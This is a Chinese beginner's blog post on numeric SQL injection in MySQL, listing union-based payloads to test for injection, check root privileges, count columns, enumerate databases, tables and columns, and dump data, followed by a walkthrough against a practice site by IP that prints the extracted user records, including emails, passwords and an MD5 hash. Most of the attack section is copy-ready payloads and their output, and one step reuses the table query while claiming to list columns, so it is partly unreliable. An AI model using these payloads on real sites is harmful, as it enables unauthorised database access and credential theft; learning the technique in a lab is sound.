专栏首页淡定的博客sql注入入门学习(数字型)(连载中)

sql注入入门学习(数字型)(连载中)

判断sql注入

1.提交单引号
2.and大法和or大法
3.加法和减法,加号  %2b

数据库权限判断

and ord(mid(user(),1,1))=114
//或者
and (select count(*) from mysql.user)>0

判断字段数

用union联合查询

and 1=1 union select 1,2,3,4,5……
union select null,null,null.....

用order by 查询

order by 1,2,3,4

查询库名

判断数据库版本
and ord(mid(version(),1,1))>51 
直接使用mysql自带函数database()查询得到数据库名
union select 1,database(),3 limit 1,1
得到所有的数据库名
union select null,schema_name,null from information_schema.schemata
获取第一个库名
and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,1

查询表名

在MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表

group_concat

and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'
或者
union select null,table_name,null from information_schema.tables where table_schema='test'

查询字段

在MySQL中,字段名存放在information_schema数据库下columns表column_name字段中,这里使用的是columns表。

and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='sqltest'
或者
union select null,column_name,null from information_schema.columns where table_schema='test' and table_name='admin'

查询数据

and 1=2 union select 1,group_concat(id,user,pwd),3 from admin
或者
union select null,title,content from sqltest
或者
and 1=2 union select 1,2,concat(user,0x3c,pwd) from admin

实战演练

打开网站http://43.247.91.228/content-1/index.php?id=0,我们在这里做注入练习

1.首先加单引号报错,可知存在明显的注入漏洞

2.输入and ord(mid(user(),1,1))=114不报错,可知数据库的权限是root权限,并且具有可读可写的权限

3.输入 and 1=1 union select 1,2,3,4,5,6,7,8不报错,可以发现这个表的字段有8个

4.使用and 1=2 union select null,schema_name,null ,null,null,null,null,null from information_schema.schemata limit 1,1;--;--注释了后面的语句,可以获取所有的数据库名,可以知道当前执行查询用户名为root@localhost(user()函数), 当前使用的数据库是inject,下面列出所有数据库

  • information_schema
  • inject
  • mysql
  • performance_schema

5.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--获取所有的表名,下面列出所有的表

  • users

6.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--获取所有的字段,下面列出所有的字段

  • idusers
  • name
  • email
  • password
  • ua
  • ref
  • host
  • lang

7.接下来就到最后最重要的一步了,获取所有数据,and 1=2 union select 1,group_concat(idusers,name,email,password,ua,ref,host,lang),3,4,5,6,7,8 from users;--

获取到的数据如下:

0adminadmin@getmantra.comadminBrick_Browserhttp://127.0.0.1/release-channel/content-13/index.php127.0.0.1en,1tomtom@getmantra.comtomBlock_Browser8.8.8.8en,2ronron@getmantra.comronRain_Browser192.168.1.1en,3harryharry@getmantra.com5f4dcc3b5aa765d61d8327deb882cf99Mantra127.0.0.1en

可以看出来这些应该就是数据表中所有的数据了,但是怎么格式化我并不会,希望看到这篇文章的大佬们能帮我解决一下,请给我发邮件:dandingkeji.top@gmail.com

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • sql注入入门学习(数字型)(连载中)

    在MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表

    一个淡定的打工菜鸟
  • 前端开发中使用mockjs模拟数据

    名称:模拟的数据的名字。 值:模拟的数据的值。 规则:模拟出数据的规则,常用的几个规则:

    一个淡定的打工菜鸟
  • css3的一些新属性总结

    box-sizing规定了盒子的计算方式,常用于消除hover时,盒子之间的影响,有三个属性:

    一个淡定的打工菜鸟
  • sql注入入门学习(数字型)(连载中)

    在MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表

    一个淡定的打工菜鸟
  • 用户该怎么避免被“大数据杀熟”?

    继去年爆出了“酒店同房不同价”的消息之后,前两天微博网友@陈利人 发文称,在携程订票未支付时,发现忘记勾选“报销凭证”,退回修正再支付时被提醒“已无票”。重新...

    加米谷大数据
  • 携程“大数据杀熟”?用户该怎么避免?

    继去年爆出了“酒店同房不同价”的消息之后,前两天微博网友@陈利人 发文称,在携程订票未支付时,发现忘记勾选“报销凭证”,退回修正再支付时被提醒“已无票”。重新...

    加米谷大数据
  • 拒用人脸打卡遭解雇,新西兰电工获赔 10 万

    导读:一位新西兰的公民,因为不愿使用公司的人脸打卡系统,而遭到了解雇。面对这样的局面,他向相关机构发起了劳动纠纷仲裁,最终的调查在近日得以宣布。

    HyperAI超神经
  • 云存储管理的9个免费工具

    云计算的概念还不算太旧,却已很好地适应于世界各地。现在许多基于云的可用服务,已经开始大规模地流行起来。不少商人和企业家正在使用这些基于云的服务,因为即便他们不在...

    静一
  • SAP CRM WebClient UI Excel Export的运行时执行明细

    thtmlbExcelExportGen('https://ldcijerry.corp:44300/sap(bD1FTiZjPTAwMSZpPTEmZT1WM...

    Jerry Wang
  • 邹伟:如何开发一款小游戏

    大家下午好,今天我分享的主题是如何开发一款火爆的小游戏。其实小程序和小游戏还是有一些共通的地方,比如在登录部分小程序和小游戏是类似的,而Wafer2也是支持小游...

    云加社区技术沙龙

扫码关注云+社区

领取腾讯云代金券